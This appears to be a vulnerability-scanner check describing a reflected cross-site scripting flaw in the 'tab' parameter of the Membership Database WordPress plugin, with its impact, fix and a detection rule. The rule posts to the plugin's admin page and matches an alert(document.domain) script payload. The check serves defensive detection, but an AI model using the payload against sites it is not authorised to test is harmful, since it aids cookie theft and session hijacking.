Readycheck to confirm it

Membership Database before 1.0 is susceptible to cross-site scripting via the tab parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Upgrade to a patched version of the Membership Database software or apply the necessary security patches provided by the vendor.

How to confirm it

Send: POST /wp-login.php ; POST /wp-admin/admin.php?page=member-database%2Flist_members.php
Positive when: status_code_2 == 200 and contains(content_type_2, "text/html") and contains(body_2, "<script>alert(document.domain)</script>") and contains(body_2, "Member Database")
